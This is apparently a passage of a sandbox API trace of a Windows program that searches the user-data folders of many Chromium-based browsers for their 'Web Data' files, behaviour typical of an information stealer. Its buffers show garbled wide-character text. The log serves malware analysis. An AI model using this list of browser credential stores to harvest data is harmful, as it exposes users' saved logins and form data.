Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.758] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.759] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.759] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0061.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.759] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.759] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.759] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0061.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.759] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.759] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.759] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0061.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.759] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.759] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.759] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0061.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.760] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.760] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.760] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0061.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.760] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.760] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.760] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0061.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.760] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.760] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.760] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0061.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.760] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.760] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.760] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0061.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.761] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.761] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.761] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0061.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web 